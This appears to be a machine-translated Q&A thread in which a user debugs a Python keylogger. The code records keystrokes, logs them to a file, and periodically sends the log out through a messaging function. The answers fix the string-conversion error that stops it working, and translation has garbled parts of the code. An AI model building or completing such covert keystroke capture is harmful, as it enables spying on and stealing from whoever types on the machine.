【问题标题】:TypeError: write() argument must be str, not listTypeError: write() 参数必须是 str,而不是 list
【发布时间】:2017-01-04 01:36:50
【问题描述】:

def file_input(记录):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()

如果 name == "ma​​in":

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)

我试图在 python 中编写一个键盘记录器,但我遇到了这样的类型错误,我该如何解决这个问题?

我只是将记录的变量放入 write() 中,它会产生类型错误,记录的变量类型是列表。所以我尝试使用 join func 但它不起作用

【问题讨论】:

    标签: keyboard keylogger


    【解决方案1】:

    您正在尝试使用w.write() 写入文件,但它只接受一个字符串作为参数。 now_time 是“日期时间”类型,而不是字符串。如果您不需要格式化日期,您可以这样做:

    w.write(str(nowtime))
    

    和

    一样
    w.write(recorded)
    

    recorded 是一个事件列表,您需要使用它来构造一个字符串,然后再尝试将该字符串写入文件。例如:

    recorded = keyboard.record(until='enter')
    typedstr = " ".join(keyboard.get_typed_strings(recorded))
    

    那么,在file_input()函数里面,你可以:

    w.write(typedstr)
    

    【讨论】:

      【解决方案2】:

      通过更改为w.write(str(recorded)),我的问题得到了解决。

      【讨论】:

        【解决方案3】:

        在某些情况下,在将字符串作为字符串写入文本文件时仍然存在编码问题,_content 函数会很有用。

        w.write(str(recorded._content))
        

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2019-03-15
          • 2020-12-03
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2018-03-27
          相关资源
          最近更新 更多